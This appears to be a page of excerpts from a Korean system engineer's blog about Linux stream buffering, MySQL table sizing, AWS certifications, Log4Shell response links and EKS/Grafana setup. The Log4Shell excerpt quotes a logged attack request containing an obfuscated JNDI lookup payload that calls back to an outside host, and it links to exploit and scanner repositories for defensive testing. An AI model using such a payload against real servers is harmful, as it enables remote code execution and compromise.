stderr 는 버퍼를 사용하지 않지만 그것과 별개로 그대로 출력하기 때문에 grep 이 되지 않는것입니다. https://www.facebook.com/groups/korelnxuser/permalink/2060620130779393/ 소용환님께서 답변해주셔서 알 수 있었습니다. 그래서 테스트를 진행하였습니다. stdbuf 명령어를 이용하여 buffer 를 제거하고 grep 해보았습니다. stdbuf -o0 는 stdout 를 unbuffered 로 출력하는 명력어 입니다. # cat test.txt 1 2 3 4 5 6 # stdbuf -o0 cat test.txt | grep 2 2 그런데 문득 버퍼사이즈가 0인것과 버퍼가 아주없는 unbuffered 는 차이가 있다는것을 알게되었습니다. 그래서 stderr 에 buffer 를 주었습니다. ...

잘못된 정보를 공유하였습니다. 그부분을 수정하고자 게시물을 다시 올립니다. 바로잡은 내용은 아래의 글입니다. https://www.linuxer.name/posts/linux-stdin-stdout-stderr-2/ 리눅스에서 stderr 으로 받는 문자열은 grep이 되지 않는다. 이유는 stderr는 Unbufferd 로 출력만 하기때문이다. # httpd -T | grep http AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.0.10.6. Set the 'ServerName' directive globally to suppress this message (98)Address already in use: AH00072: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down AH00015: Unable to open logs 위의 경우가 그 예이다. ...

information_schema 스키마는 랜덤샘플링으로 인하여 값의 오차가 생길수 있으므로 정확하지 않음 검증방법 ANALYZE TABLE 테이블명;SELECT table_name, table_rows, round(data_length/(1024*1024),2) as 'DATA_SIZE(MB)', round(index_length/(1024*1024),2) as 'INDEX_SIZE(MB)' FROM information_schema.TABLES WHERE table_schema = '데이터베이스명' GROUP BY table_name ORDER BY data_length DESC LIMIT 10; ANALYZE 를 진행하며 테이블 확인 - information_schema.TABLES 이 계속 변경되는것이 확인됨 따라서 row count 로 만 검증가능 SELECT COUNT(*)FROM 테이블명; 대표적으로 자주사용하는 테이블을 카운트하여 비교하는것이 제일 정확

저는 System Engineer 였습니다. 레거시중의 레거시에 위치한 hosting 을 제공하는 회사에 있었습니다. 하드웨어 서버에 익숙하고, 서버의 자원을 조금이라도 잘쓰기 위해서 여러 방안을 강구하고 매일 테스트했습니다. 자동화 설치를위해서 Clonezilia로 PXE 자동화 설치를 만들고, Hyper-V기반의 DB호스팅을 만들며, 이런저런 오픈소스를 테스트하고, L4, WAF, IPS등 여러 장비들을 다룰줄알고 셋팅도 하였지만, 남들보다 조금 손이 빠른 그저 그런 잡부중 하나일 뿐이었습니다. 그러던 중에 AWS를 만나며, 새로운 세상을 만났습니다. 그동안 힘들었던 서버 설치는 버튼클릭 몇번이면 되고, 비싸서 사용할수 없었던 솔루션, 고객에게 추천하기 어려웠던 구성들까지 그 야말로 세상의 관념이 변하는 느낌을 받았습니다. ...

Data Analytics 까지 시험을 봤습니다. 이 사태의 원인은 세웅님이었습니다. 치명적인 속도로 AWS 자격증을 클리어하는 것이 제가 나태한것 같이 느껴졌습니다. 그래서 MLS를 끝내고 DAS를 바로 시작했습니다. DAS는 DBS-DAS-MLS 순으로 보면 좋은시험 같았습니다. DAS는 주로 ETL 과 Analytics에 관련한 문제가 나옵니다. https://jayendrapatil.com/aws-certified-data-analytics-specialty-das-c01-exam-learning-path/ 제 블로그를 봐온 분들이라면 다들 아시겠지만 저는 jayendra 님의 블로그로 먼저 시험을 준비합니다. 도메인 분리도 잘되어있고, 요약정리가 정말 깔끔하기 때문입니다. 요약정리를 다 읽고 AWS에서 주로 사용할 서비스에 대한 이해가 필요합니다. kinesis stream와 firehose 의 차이를 알면 정말 편해집니다. ...

오랜만의 자격증 글입니다. 최근에 책한권을 추천받았습니다. 기계학습을 다시묻다 라는 책이었습니다. 이광근 교수님의 번역에 대한 생각과 이해를 볼수있는 책이었습니다. 이 책을 읽으면서 너무너무너무너무 이해가 안갔습니다. 그 동안 머신러닝을 지속적으로 찍먹을 하던터라 읽을만 하지 않을까? 했는데 아니나 다를까 수포자에겐 자비가 없었습니다. 그렇지만, 근일년간 쿠버네티스와 머신러닝을 찍먹하면서 내가 머신러닝을 실무에 적용하고 쓸수있는 레벨은 아니지만 어떤기술이 어디서 사용된다 정도는 이해하고 있던터라 한번 과감하게 시험날자를 잡았습니다. **등급: Specialty 시간: 시험 완료까지 180분 소요 비용: 300 USD ...

총평: log4shell 취약점이 있으면 해커가 서버에서 뭐든할수있게 되어서 랜섬부터 멀웨어까지 다양하고 참신한 공격이 가능 1 . "log4j2.formatMsgNoLookups"를 "true"로 설정 Log4j 2.15.0(https://logging.apache.org/log4j/2.x/download.html) 버전으로 업데이트 https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 대응방법 KISA https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j 패스틀리 링크 https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ 클라우드플레어링크 https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit 취약점 테스트방법 https://github.com/mwarnerblu/Log4ShellScanner Log4shell Scanner https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 취약점 점검 expolit https://www.lunasec.io/docs/blog/log4j-zero-day/ curl 테스트방법 https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890 로깅패턴 https://www.picussecurity.com/resource/blog/simulating-and-preventing-cve-2021-44228-apache-log4j-rce-exploits 로그에서 확인방법 https://github.com/YfryTchsGD/Log4jAttackSurface 대상제품리스트 https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/?fbclid=IwAR1j7GAuBIbuh7HrlQJO-HTTKFjac7YYxvSWVh950CWiav2vO6AzSTI-S_0 AWS의 대응 WAF에 Managed rule이 추가 https://github.com/YfryTchsGD/Log4jAttackSurface 공격받은곳 리스트 https://github.com/christophetd/log4shell-vulnerable-app 동작샘플 블로그에 남은 공격로그 127.0.0.6 - - [12/Dec/2021:04:29:32 +0000] "GET /favicon.ico HTTP/1.1" 302 5 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "68.183.198.247" ...

어떤 방식으로 쓸지 정한건 하나도 없습니다. 그러나 시리즈물로 써 나가 보려고 합니다. 한번 써볼까합니다. 시간이 되는데로 써보겠습니다.

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/prometheus.html 먼저 프로메테우스를 설치한다. cat << EOF | k apply -f - --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: grafana-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi --- apiVersion: apps/v1 kind: Deployment metadata: labels: app: grafana name: grafana spec: selector: matchLabels: app: grafana template: metadata: labels: app: grafana spec: securityContext: fsGroup: 472 supplementalGroups: - 0 containers: - name: grafana image: grafana/grafana:7.5.2 imagePullPolicy: IfNotPresent ports: - containerPort: 3000 name: http-grafana protocol: TCP readinessProbe: failureThreshold: 3 httpGet: path: /robots.txt port: 3000 scheme: HTTP initialDelaySeconds: 10 periodSeconds: 30 successThreshold: 1 timeoutSeconds: 2 livenessProbe: failureThreshold: 3 initialDelaySeconds: 30 periodSeconds: 10 successThreshold: 1 tcpSocket: port: 3000 timeoutSeconds: 1 resources: requests: cpu: 250m memory: 750Mi volumeMounts: - mountPath: /var/lib/grafana name: grafana-pv volumes: - name: grafana-pv persistentVolumeClaim: claimName: grafana-pvc --- apiVersion: v1 kind: Service metadata: name: grafana spec: ports: - port: 3000 protocol: TCP targetPort: http-grafana selector: app: grafana sessionAffinity: None type: LoadBalancer EOF https://grafana.com/docs/grafana/latest/installation/kubernetes/ ...

클러스터를 먼저 프로비저닝 했다. 30분이상이 걸리는 작업이므로 시작해놓고 기다린다. eksctl create cluster --vpc-public-subnets $WKSubnets --name $CLUSTER_NAME --region $AWS_REGION --version 1.21 \\ > --nodegroup-name $CLUSTER_NAME-nodegroup --node-type t3.medium --nodes 3 --nodes-min 3 --nodes-max 6 \\ > --with-oidc --node-volume-size=20 --ssh-access --ssh-public-key $MySSHKeypair 2021-09-04 11:29:11 [ℹ] eksctl version 0.63.0 2021-09-04 11:29:11 [ℹ] using region ap-northeast-2 2021-09-04 11:29:12 [✔] using existing VPC (vpc-094808933b68add7c) and subnets (private:map[] public:map[ap-northeast-2a:{subnet-0a603a222db0cce10 ap-northeast-2a 10.0.11.0/24} ap-northeast-2b:{subnet-007964ce4a003361a ap-northeast-2b 10.0.12.0/24} ap-northeast-2c:{subnet-007813cf58631ef3b ap-northeast-2c 10.0.13.0/24}]) 2021-09-04 11:29:12 [!] custom VPC/subnets will be used; if resulting cluster doesn't function as expected, make sure to review the configuration of VPC/subnets 2021-09-04 11:29:12 [ℹ] nodegroup "first-eks-nodegroup" will use "" [AmazonLinux2/1.21] 2021-09-04 11:29:12 [ℹ] using EC2 key pair %!q(*string=<nil>) 2021-09-04 11:29:12 [ℹ] using Kubernetes version 1.21 2021-09-04 11:29:12 [ℹ] creating EKS cluster "first-eks" in "ap-northeast-2" region with managed nodes 2021-09-04 11:29:12 [ℹ] will create 2 separate CloudFormation stacks for cluster itself and the initial managed nodegroup 2021-09-04 11:29:12 [ℹ] if you encounter any issues, check CloudFormation console or try 'eksctl utils describe-stacks --region=ap-northeast-2 --cluster=first-eks' 2021-09-04 11:29:12 [ℹ] CloudWatch logging will not be enabled for cluster "first-eks" in "ap-northeast-2" 2021-09-04 11:29:12 [ℹ] you can enable it with 'eksctl utils update-cluster-logging --enable-types={SPECIFY-YOUR-LOG-TYPES-HERE (e.g. all)} --region=ap-northeast-2 --cluster=first-eks' 2021-09-04 11:29:12 [ℹ] Kubernetes API endpoint access will use default of {publicAccess=true, privateAccess=false} for cluster "first-eks" in "ap-northeast-2" 2021-09-04 11:29:12 [ℹ] 2 sequential tasks: { create cluster control plane "first-eks", 3 sequential sub-tasks: { 4 sequential sub-tasks: { wait for control plane to become ready, associate IAM OIDC provider, 2 sequential sub-tasks: { create IAM role for serviceaccount "kube-system/aws-node", create serviceaccount "kube-system/aws-node" }, restart daemonset "kube-system/aws-node" }, 1 task: { create addons }, create managed nodegroup "first-eks-nodegroup" } } 2021-09-04 11:29:12 [ℹ] building cluster stack "eksctl-first-eks-cluster" 2021-09-04 11:29:12 [ℹ] deploying stack "eksctl-first-eks-cluster" 2021-09-04 11:29:42 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:30:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:31:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:32:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:33:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:34:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:35:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:36:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:37:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:38:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:39:12 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:40:13 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:41:13 [ℹ] waiting for CloudFormation stack "eksctl-first-eks-cluster" 2021-09-04 11:45:14 [ℹ] building iamserviceaccount stack "eksctl-first-eks-addon-iamserviceaccount-kube-system-aws-node" 2021-09-04 11:45:14 [ℹ] deploying stack "eksctl-first-eks-addon-iamserviceaccount-kube-system-aws-node" EKS를 Setup 하는 과정에 대해선 이전포스팅을 참고하기 바란다. ...